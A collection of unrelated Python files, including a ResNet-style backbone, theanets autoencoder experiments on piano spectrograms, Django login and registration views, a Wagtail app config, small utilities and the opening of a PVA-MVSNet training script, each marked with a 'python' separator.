super().__init__(init_cfg=init_cfg)
assert isinstance(in_channels, int)
assert isinstance(stem_channels, int)
assert utils.is_type_list(arch_settings, int)
assert utils.is_type_list(strides, int)
assert len(arch_settings) == len(strides)
assert out_indices is None or isinstance(out_indices, (list, tuple))
assert isinstance(last_stage_pool, bool)
self.out_indices = out_indices
self.last_stage_pool = last_stage_pool
self.block = BasicBlock
self.inplanes = stem_channels
self._make_stem_layer(in_channels, stem_channels)
self.res_layers = []
planes = base_channels
for i, num_blocks in enumerate(arch_settings):
stride = strides[i]
res_layer = self._make_layer(
block=self.block,
inplanes=self.inplanes,
planes=planes,
blocks=num_blocks,
stride=stride)
self.inplanes = planes * self.block.expansion
planes *= 2
layer_name = f'layer{i + 1}'
self.add_module(layer_name, res_layer)
self.res_layers.append(layer_name)
def _make_layer(self, block, inplanes, planes, blocks, stride=1):
layers = []
downsample = None
if stride != 1 or inplanes != planes:
downsample = nn.Sequential(
nn.Conv2d(inplanes, planes, 1, stride, bias=False),
nn.BatchNorm2d(planes),
)
layers.append(
block(
inplanes,
planes,
use_conv1x1=True,
stride=stride,
downsample=downsample))
inplanes = planes
for _ in range(1, blocks):
layers.append(block(inplanes, planes, use_conv1x1=True))
return Sequential(*layers)
def _make_stem_layer(self, in_channels, stem_channels):
self.conv1 = nn.Conv2d(
in_channels, stem_channels, kernel_size=3, stride=1, padding=1)
self.bn1 = nn.BatchNorm2d(stem_channels)
self.relu1 = nn.ReLU(inplace=True)
def forward(self, x):
"""
Args:
x (Tensor): Image tensor of shape :math:`(N, 3, H, W)`.
Returns:
Tensor or list[Tensor]: Feature tensor. Its shape depends on
ResNetABI's config. It can be a list of feature outputs at specific
layers if ``out_indices`` is specified.
"""
x = self.conv1(x)
x = self.bn1(x)
x = self.relu1(x)
outs = []
for i, layer_name in enumerate(self.res_layers):
res_layer = getattr(self, layer_name)
x = res_layer(x)
if self.out_indices and i in self.out_indices:
outs.append(x)
return tuple(outs) if self.out_indices else x
| python |
import numpy as np
from sklearn.preprocessing import MinMaxScaler, StandardScaler
from sklearn.cross_validation import train_test_split
import theanets
import climate
climate.enable_default_logging()
X_orig = np.load('/Users/bzamecnik/Documents/music-processing/music-processing-experiments/c-scale-piano_spectrogram_2048_hamming.npy')
sample_count, feature_count = X_orig.shape
X = MinMaxScaler().fit_transform(X_orig)
X = X.astype(np.float32)
X_train, X_test = train_test_split(X, test_size=0.4, random_state=42)
X_val, X_test = train_test_split(X_test, test_size=0.5, random_state=42)
# (np.maximum(0, 44100/512*np.arange(13)-2)).astype('int')
#blocks = [0, 84, 170, 256, 342, 428, 514, 600, 687, 773, 859, 945, 1031, 1205]
blocks = [0, 48, 98, 148, 198, 248, 298, 348, 398, 448, 498, 548, 598, 700]
def make_labels(blocks):
label_count = len(blocks) - 1
labels = np.zeros(blocks[-1])
for i in range(label_count):
labels[blocks[i]:blocks[i+1]] = i
return labels
y = make_labels(blocks)
def score(exp, Xs):
X_train, X_val, X_test = Xs
def sc(exp, X):
return r2_score(X, exp.network.predict(X))
print("training: ", sc(exp, X_train))
# NOTE: only optimize to validation dataset's score!
print("validation:", sc(exp, X_val))
print("test: ", sc(exp, X_test))
exp1 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1)
exp1.train(X_train, X_val, optimize='nag', learning_rate=1e-3, momentum=0.9)
exp2 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1)
exp2.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# gives quite nice prediction, trains slow
exp3 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1, hidden_activation='relu')
exp3.train(X_train, X_val, optimize='nag', learning_rate=1e-3, momentum=0.9)
exp4 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1, input_dropout=0.3)
exp4.train(X_train, X_val, optimize='nag', learning_rate=1e-3, momentum=0.9)
# rmsprop - converges faster in this case than nag
exp5 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1)
exp5.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# tied weighs - work good, much lower loss function values
# r2: 0.75037549551862703
exp6 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1, tied_weights=True)
exp6.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# higher hidden L1 penalty - worse
exp7 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.7, tied_weights=True)
exp7.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# hidden L2 penalty - a bit worse
exp8 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
hidden_l1=0.1, hidden_l2=0.1, tied_weights=True)
exp8.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# no regularization - in this case better
# r2: 0.82211329411744094
exp10 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
tied_weights=True)
exp10.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# layerwise autoencoder training
exp11 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 500, feature_count), tied_weights=True)
exp11.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# wow - this actually is able to to a 2D visualization
exp12 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 100, 10, 2, 10, 100, feature_count),
tied_weights=True)
exp12.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
def compute_middle_layer(X, model):
X_pred_ff = model.feed_forward(X)
middle = int(len(X_pred_ff)/2)
X_middle = X_pred_ff[middle]
return X_middle
def visualize_2d(X, y=None):
colors = y/max(y) if y is not None else np.linspace(0,1,len(X))
scatter(X[:,0], X[:,1],
c=colors, alpha=0.2, edgecolors='none', cmap='rainbow')
# same visualization, a little bit better r2
exp13 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 256, 64, 16, 2, 16, 64, 256, feature_count),
tied_weights=True)
exp13.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# contractive - better than without
# r2: 0.82820148664941162
exp14 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
tied_weights=True, contractive=0.8)
exp14.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# tanh - bad
exp15 = theanets.Experiment( theanets.Autoencoder,
layers=(feature_count, 500, feature_count),
tied_weights=True, hidden_activation='tanh')
exp15.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# relu, contractive
exp16 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 128, 16, 2, 16, 128, feature_count),
tied_weights=True, hidden_activation='relu', contractive=0.5)
exp16.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
exp17 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 128, 16, 2, 16, 128, feature_count),
tied_weights=True, contractive=0.8)
exp17.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
exp18 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.8)
exp18.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# r2: 0.83371355062803953
exp19 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.8, hidden_dropout=0.8)
exp19.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
exp20 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.9, hidden_dropout=0.9)
exp20.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# -----------------
# animate the 2D point movement
import matplotlib.animation as animation
def export_animation(X_2d, y, filename):
fig = plt.figure()
# 854x480 px (480p) in inches, note that 8.54 gives 853px width :/
fig.set_size_inches(8.545, 4.80)
plt.axis('equal')
# plt.tight_layout()
# plt.xlim(-0.1, 1.1)
# plt.ylim(-0.1, 1.1)
images = []
im1 = scatter(X_2d[:, 0], X_2d[:, 1], c=y/max(y), cmap='rainbow', alpha=0.2)
for i in range(len(X_2d)):
im2 = scatter(X_2d[i, 0], X_2d[i, 1], c=y[i]/max(y), cmap='rainbow')
images.append([im1, im2])
ani = animation.ArtistAnimation(fig, images,
interval=20, blit=False, repeat=False)
writer = animation.writers['ffmpeg'](fps=50, bitrate=5000)
ani.save(filename, writer=writer, dpi=100)
export_animation(X_tsne, y, 'piano-tsne.mp4')
#----------------------
exp21 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.3, hidden_dropout=0.5,
batch_size=len(X_train))
exp21.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
exp22 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.3, hidden_dropout=0.5)
exp22.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
exp23 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, 256, 128, 64, 32, 16, 8, 4, 2,
4, 8, 16, 32, 64, 128, 256, 512, feature_count),
tied_weights=True, input_dropout=0.3, hidden_dropout=0.5)
exp23.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
exp24 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.3, hidden_dropout=0.5,
hidden_activation='linear')
exp24.train(X_train, X_val, optimize='rmsprop', learning_rate=1e-3, momentum=0.9)
# r2: 0.833454635805
exp25 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp25.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.9)
# r2: 0.731835366439
exp26 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp26.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.1)
# r2: 0.854741515141 (*)
exp27 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp27.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# r2: 0.84260338122
exp28 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp28.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.7)
exp29 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp29.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp30 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, input_dropout=0.9)
exp30.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp31 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 100, feature_count),
tied_weights=True)
exp31.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp32 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 200, 20, 2, 20, 200, feature_count),
tied_weights=True, input_dropout=0.5, hidden_dropout=0.5)
exp32.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# bad - makes a single curve
exp33 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 200, 20, 2, 20, 200, feature_count),
tied_weights=True, hidden_l1=0.1)
exp33.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# bad - makes a non-discriminative curve
exp34 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 200, 20, 2, 20, 200, feature_count),
tied_weights=True, input_dropout=0.5)
exp34.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp35 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 200, 20, 2, 20, 200, feature_count),
tied_weights=True, hidden_dropout=0.5)
exp35.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp36 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 200, 20, 2, 20, 200, feature_count),
tied_weights=True)
exp36.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp33 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, 256, 128, 64, 32, 16, 8, 4, 2,
4, 8, 16, 32, 64, 128, 256, 512, feature_count),
tied_weights=True)
exp33.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
X_zca_train, X_zca_test = train_test_split(X_zca, test_size=0.4, random_state=42)
X_zca_val, X_zca_test = train_test_split(X_zca_test, test_size=0.5, random_state=42)
exp34 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp34.train(X_zca_train, X_zca_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp35 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, 256, 128, 64, 32, 16, 8, 4, 2,
4, 8, 16, 32, 64, 128, 256, 512, feature_count),
tied_weights=True, hidden_activation='relu')
exp35.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# - try tanh and relu for deeper networks
# - try other normalization (mean-std instead od min-max)
X_ms = StandardScaler().fit_transform(X_orig).astype(np.float32)
X_ms_train, X_ms_test = train_test_split(X_ms, test_size=0.4, random_state=42)
X_ms_val, X_ms_test = train_test_split(X_ms_test, test_size=0.5, random_state=42)
exp36 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp36.train(X_ms_train, X_ms_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp37 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='tanh')
exp37.train(X_ms_train, X_ms_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp38 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp38.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
X_orig_train, X_orig_test = train_test_split(X_orig.astype('float32'), test_size=0.4, random_state=42)
X_orig_val, X_orig_test = train_test_split(X_orig_test, test_size=0.5, random_state=42)
exp39 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True)
exp39.train(X_orig_train, X_orig_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp40 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='linear', hidden_l1=0.5)
exp40.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp41 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='relu', hidden_l1=0.5)
exp41.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp42 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='relu', weight_l1=0.5)
exp42.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# bad
exp43 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='relu', contractive=0.9)
exp43.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# not bad
exp44 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='relu')
exp45.train(X_ms_train, X_ms_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp45 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='relu', contractive=0.5)
exp45.train(X_ms_train, X_ms_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
# r2: 0.849283267068
exp46 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='linear', contractive=0.5)
exp46.train(X_ms_train, X_ms_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
exp47 = theanets.Experiment(theanets.Autoencoder,
layers=(feature_count, 512, feature_count),
tied_weights=True, hidden_activation='linear', contractive=0.5)
exp47.train(X_train, X_val, optimize='layerwise', learning_rate=1e-3, momentum=0.5)
| python |
from django.shortcuts import render
from django.shortcuts import redirect
from django.urls import reverse
from django.core.handlers.wsgi import WSGIRequest
from tool.session import *
from tool.struct import *
from tool.check import *
from config import log
from user.models import User
# from books.views import
# Create your views here.
def Register(request: WSGIRequest):
session = GetSessionObj(request)
if SessionUserId in session.keys():
# 有session 定位到图书馆主页
return redirect(reverse('book_index'))
# 页面请求
if request.method != "POST":
return render(request, 'gateway/register.html')
'''注册请求'''
# 获取传递给模板的数据
context = request.context
# 数据获取
tel = request.POST.get('tel') # 获取注册手机号
account = request.POST.get('account') # 获取账号
userName = request.POST.get('username') # 获取用户名
password = request.POST.get('password') # 获取密码
affirmPassword = request.POST.get('affirmPassword') # 获取确认密码 - 第二次输入密码
context['registerBakData'] = {
'tel': tel,
'account': account,
'username': userName,
'password': password,
'affirmPassword': affirmPassword
}
# 检查手机号字符串合法
if not checkTelValidity(tel):
context[ContextError] = '手机号不合规范'
context['registerBakData']['tel'] = ''
return render(request, 'gateway/register.html', context)
# 检查手机号是否已被注册
userObj: User = User.LoadByTel(tel)
if userObj is not None:
context[ContextError] = '手机号已被注册'
context['registerBakData']['tel'] = ''
return render(request, 'gateway/register.html', context=context)
# 检查账号字符串合法性
if not checkAccountValidity(account):
context[ContextError] = '账号不合规范'
context['registerBakData']['account'] = ''
return render(request, 'gateway/register.html', context=context)
# 检查账号存在
userObj: User = User.LoadByAccount(account)
if userObj is not None:
context[ContextError] = '用户名已被占用'
context['registerBakData']['account'] = ''
return render(request, 'gateway/register.html', context=context)
# 用户名检查
if not checkUserNameValidity(userName):
context[ContextError] = '用户名不合规'
context['registerBakData']['username'] = ''
return render(request, 'gateway/register.html', context)
# 密码格式检查
if not checkPasswordValidity(password):
context[ContextError] = '密码格式不合规'
context['registerBakData']['password'] = ''
context['registerBakData']['affirmPassword'] = ''
return render(request, 'gateway/register.html', context=context)
# 密码一致性比对
if password != affirmPassword:
context[ContextError] = '密码不一致'
context['registerBakData']['affirmPassword'] = ''
return render(request, 'gateway/register.html', context=context)
# 用户保存入库
userObj: User = User.CreateUser(
tel=tel,
account=account,
username=userName,
password=password
)
log.Debug('注册成功', userObj.id, userObj.UserName)
return redirect(reverse('gateway_login'))
# 登录 Create By [email protected]
def Login(request: WSGIRequest):
session: dict = GetSessionObj(request)
if SessionUserId in session.keys():
# 有session 定位到图书馆主页
return redirect(reverse('book_index'))
# 页面请求
if request.method != "POST":
return render(request, 'gateway/login.html')
'''登陆请求'''
# 获取传递给模板的数据
context = request.context
# 获取账号
account = request.POST.get('account')
# 检查账号字符串合法性
if not checkAccountValidity(account):
context[ContextError] = '账号异常'
return render(request, 'gateway/login.html', context=context)
# 检查账号存在
userObj: User = User.LoadByAccount(account)
if userObj is None:
context[ContextError] = '用户不存在'
return render(request, 'gateway/login.html', context=context)
# 获取密码
password = request.POST.get('password')
# 检查密码字符串合法性
if not checkPasswordValidity(password):
context[ContextError] = '密码长度不正确'
return render(request, 'gateway/login.html', context=context)
# 检查密码正确与否
if not userObj.CheckPassword(password):
context[ContextError] = '密码不正确'
return render(request, 'gateway/login.html', context=context)
# 登录正常导出登录信息
context[ContextUserData] = userObj.GetLoginStruct()
log.Debug('登录成功', userObj.id, userObj.UserName)
session[SessionUserId] = userObj.id
return redirect(reverse('book_index'))
def Exit(request: WSGIRequest):
request.session.flush()
return redirect(reverse('gateway_login')) | python |
from django.apps import AppConfig, apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
class WagtailAPIAppConfig(AppConfig):
name = 'wagtail.contrib.wagtailapi'
label = 'wagtailapi_v1'
verbose_name = "Wagtail API"
def ready(self):
# Install cache purging signal handlers
if getattr(settings, 'WAGTAILAPI_USE_FRONTENDCACHE', False):
if apps.is_installed('wagtail.contrib.wagtailfrontendcache'):
from wagtail.contrib.wagtailapi.signal_handlers import register_signal_handlers
register_signal_handlers()
else:
raise ImproperlyConfigured(
"The setting 'WAGTAILAPI_USE_FRONTENDCACHE' is True but "
"'wagtail.contrib.wagtailfrontendcache' is not in INSTALLED_APPS."
)
if not apps.is_installed('rest_framework'):
raise ImproperlyConfigured(
"The 'wagtailapi' module requires Django REST framework. "
"Please add 'rest_framework' to INSTALLED_APPS."
)
| python |
#!/usr/bin/env python3
import os, filecmp
from ccjtools import ccj_make
def test_mcux():
"""Produce compilation database from MCUExpresso build log, check if as expected"""
projectDir = '/home/langrind/Documents/MCUXpresso_11.0.1_2563/workspace/evkmimxrt1064_lwip_ping_bm'
existingFile = 'tests/mcux_compile_commands.json'
if not os.path.exists(existingFile):
assert False
outputFile = 'tests/mcux_test_output.json'
if os.path.exists(outputFile):
os.remove(outputFile)
if (os.path.exists(outputFile)):
assert False
cmdLine = 'ccj-make tests/mcux_build.log -r gcc -o {of} -p {pd}'.format(of=outputFile, pd=projectDir)
ccj_make.main(cmdLine.split())
if not os.path.exists(outputFile):
assert False
if not filecmp.cmp( outputFile, existingFile, shallow=False):
assert False
os.remove(outputFile)
if (os.path.exists(outputFile)):
assert False
assert True
| python |
# ----------------------------------------------------------------------------
# Title: Scientific Visualisation - Python & Matplotlib
# Author: Nicolas P. Rougier
# License: BSD
# ----------------------------------------------------------------------------
# Defaults settings / Custom defaults
# ----------------------------------------------------------------------------
import numpy as np
import matplotlib.pyplot as plt
X = np.linspace(-np.pi, np.pi, 257, endpoint=True)
C, S = np.cos(X), np.sin(X)
p = plt.rcParams
p["figure.figsize"] = 6, 2.5
p["figure.edgecolor"] = "black"
p["figure.facecolor"] = "#f9f9f9"
p["axes.linewidth"] = 1
p["axes.facecolor"] = "#f9f9f9"
p["axes.ymargin"] = 0.1
p["axes.spines.bottom"] = True
p["axes.spines.left"] = True
p["axes.spines.right"] = False
p["axes.spines.top"] = False
p["font.sans-serif"] = ["Fira Sans Condensed"]
p["axes.grid"] = False
p["grid.color"] = "black"
p["grid.linewidth"] = 0.1
p["xtick.bottom"] = True
p["xtick.top"] = False
p["xtick.direction"] = "out"
p["xtick.major.size"] = 5
p["xtick.major.width"] = 1
p["xtick.minor.size"] = 3
p["xtick.minor.width"] = 0.5
p["xtick.minor.visible"] = True
p["ytick.left"] = True
p["ytick.right"] = False
p["ytick.direction"] = "out"
p["ytick.major.size"] = 5
p["ytick.major.width"] = 1
p["ytick.minor.size"] = 3
p["ytick.minor.width"] = 0.5
p["ytick.minor.visible"] = True
p["lines.linewidth"] = 2
p["lines.marker"] = "o"
p["lines.markeredgewidth"] = 1.5
p["lines.markeredgecolor"] = "auto"
p["lines.markerfacecolor"] = "white"
p["lines.markersize"] = 6
fig = plt.figure(linewidth=1)
ax = plt.subplot(1, 1, 1, aspect=1)
ax.plot(X, C, markevery=(0, 32))
ax.plot(X, S, markevery=(0, 32))
ax.set_yticks([-1, 0, 1])
plt.tight_layout()
plt.savefig("../../figures/defaults/defaults-step-3.pdf")
plt.show()
| python |
x= int(input())
if x>=1 and x<=100:
for y in range(0,x):
S = input()[::-1]
if len(S)<=1000:
print(S)
| python |
import os
def list_files_absolute(start_dir, extensions=None, ignore_empty=False):
start_dir = os.path.expanduser(start_dir)
return _list_files(start_dir, start_dir, extensions, ignore_empty=ignore_empty)
def list_files_relative(start_dir, extensions=None, ignore_empty=False):
start_dir = os.path.expanduser(start_dir)
return _list_files(
start_dir, start_dir, extensions, relative=True, ignore_empty=ignore_empty
)
def _list_files(
start_dir, cur_dir, extensions=None, relative=False, ignore_empty=False
):
paths = []
with os.scandir(cur_dir) as scanner:
for entry in scanner:
if entry.is_dir():
paths += _list_files(
start_dir,
entry.path,
extensions,
relative=relative,
ignore_empty=ignore_empty,
)
elif (
(
extensions is not None
and any([entry.name.endswith("." + ext) for ext in extensions])
)
or extensions is None
) and ((ignore_empty and entry.stat().st_size > 0) or not ignore_empty):
if relative:
name = os.path.relpath(entry.path, start=start_dir)
else:
name = entry.path
paths.append((name, entry.stat()))
return paths
| python |
from torch.nn import functional as F
class TensorResize():
def __init__(self, img_size):
self.img_size = img_size
def __call__(self, img):
# XXX interpolate first dim is a batch dim
return F.interpolate(img.unsqueeze(0), self.img_size, mode='bilinear')[0]
def __repr__(self):
return self.__class__.__name__ + '()'
class TensorCenterCrop():
def __init__(self, img_size):
self.img_size = (img_size, img_size) if isinstance(img_size, int) else img_size
def __call__(self, img):
image_width, image_height = img.shape[-2:]
height, width = self.img_size
top = int((image_height - height + 1) * 0.5)
left = int((image_width - width + 1) * 0.5)
return img[..., top:top + height, left:left + width]
def __repr__(self):
return self.__class__.__name__ + '()'
| python |
import argparse
import os
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim as optim
from torch.utils.data import DataLoader
from torch.autograd import Variable
import torch.nn.functional as F
import numpy as np
import time
from tensorboardX import SummaryWriter
from datasets import find_dataset_def
from models import *
from utils import *
import gc
import sys
import datetime
import ast
from datasets.data_io import *
from third_party.sync_batchnorm import patch_replication_callback
from third_party.sync_batchnorm import convert_model
from third_party.radam import RAdam
cudnn.benchmark = True
#torch.backends.cudnn.enabled = False
parser = argparse.ArgumentParser(description='A Official PyTorch Codebase of PVA-MVSNet')
parser.add_argument('--mode', default='train', help='train, val or test', choices=['train', 'test', 'val', 'evaluate', 'profile'])
parser.add_argument('--device', default='cuda', help='select model')
parser.add_argument('--loss', default='mvsnet_loss', help='select loss', choices=['mvsnet_loss', 'mvsnet_loss_l1norm',
'mvsnet_loss_divby_interval', 'mvsnet_cls_loss', 'mvsnet_cls_loss_ori', 'unsup_loss'])
parser.add_argument('--refine', help='True or False flag, input should be either "True" or "False".',
type=ast.literal_eval, default=False)
parser.add_argument('--dp_ratio', type=float, default=0.0, help='learning rate')
parser.add_argument('--inverse_depth', help='True or False flag, input should be either "True" or "False".',
type=ast.literal_eval, default=False)
##### Distributed Sync BN
parser.add_argument('--using_apex', action='store_true', help='using apex, need to install apex')
parser.add_argument('--sync_bn', action='store_true',help='enabling apex sync BN.')
##### for dsrmvsnet
parser.add_argument('--reg_loss', help='True or False flag, input should be either "True" or "False".',
type=ast.literal_eval, default=False)
parser.add_argument('--max_h', type=int, default=512, help='Maximum image height when training')
parser.add_argument('--max_w', type=int, default=640, help='Maximum image width when training.')
##### end dsrmvsnet
parser.add_argument('--local_rank', type=int, default=0, help='training view num setting')
parser.add_argument('--view_num', type=int, default=3, help='training view num setting')
parser.add_argument('--image_scale', type=float, default=0.25, help='pred depth map scale') # 0.5
parser.add_argument('--ngpu', type=int, default=4, help='gpu size')
parser.add_argument('--dataset', default='dtu_yao', help='select dataset')
parser.add_argument('--trainpath', help='train datapath')
parser.add_argument('--testpath', help='test datapath')
parser.add_argument('--trainlist', help='train list')
parser.add_argument('--vallist', help='val list')
parser.add_argument('--testlist', help='test list')
parser.add_argument('--epochs', type=int, default=16, help='number of epochs to train')
parser.add_argument('--lr', type=float, default=0.001, help='learning rate')
parser.add_argument('--loss_w', type=int, default=4, help='number of epochs to train')
parser.add_argument('--lrepochs', type=str, default="10,12,14:2", help='epoch ids to downscale lr and the downscale rate')
parser.add_argument('--lr_scheduler', default='multistep', help='lr_scheduler')
parser.add_argument('--optimizer', default='Adam', help='optimizer')
parser.add_argument('--batch_size', type=int, default=12, help='train batch size')
parser.add_argument('--numdepth', type=int, default=192, help='the number of depth values')
parser.add_argument('--interval_scale', type=float, default=1.06, help='the number of depth values') # 1.01
parser.add_argument('--loadckpt', default=None, help='load a specific checkpoint')
parser.add_argument('--logdir', default='./logdir', help='the directory to save checkpoints/logs')
parser.add_argument('--save_dir', default=None, help='the directory to save checkpoints/logs')
# parse arguments and check
args = parser.parse_args()
if args.testpath is None:
args.testpath = args.trainpath
set_random_seed(1)
device = torch.device(args.device)
#using sync_bn by using nvidia-apex, need to install apex. 半精度运算库
if args.sync_bn:
assert args.using_apex, "must set using apex and install nvidia-apex"
if args.using_apex:
try:
from apex.parallel import DistributedDataParallel as DDP
from apex.fp16_utils import *
from apex import amp, optimizers
from apex.multi_tensor_apply import multi_tensor_applier
except ImportError:
raise ImportError("Please install apex from https://www.github.com/nvidia/apex to run this example.")
is_distributed = args.ngpu > 1
if is_distributed:
print('start distributed ************\n')
torch.cuda.set_device(args.local_rank)
torch.distributed.init_process_group(
backend="nccl", init_method="env://"
)
synchronize()
if (not is_distributed) or (dist.get_rank() == 0):
# create logger for mode "train" and "testall"
if args.mode == "train":
if not os.path.isdir(args.logdir):
os.makedirs(args.logdir)
current_time_str = str(datetime.datetime.now().strftime('%Y%m%d_%H%M%S'))
print("current time", current_time_str)
print("creating new summary file")
logger = SummaryWriter(args.logdir)
print("argv:", sys.argv[1:])
print_args(args)
# model, optimizer
model = DrMVSNet(refine=args.refine, dp_ratio=args.dp_ratio, image_scale=args.image_scale, max_h=args.max_h, max_w=args.max_w, reg_loss=args.reg_loss)
model.to(device)
print('Number of model parameters: {}'.format(sum([p.data.nelement() for p in model.parameters()])))
print('Model define:')
print(model)
print('**********************\n')
if args.sync_bn:
import apex
print("using apex synced BN")
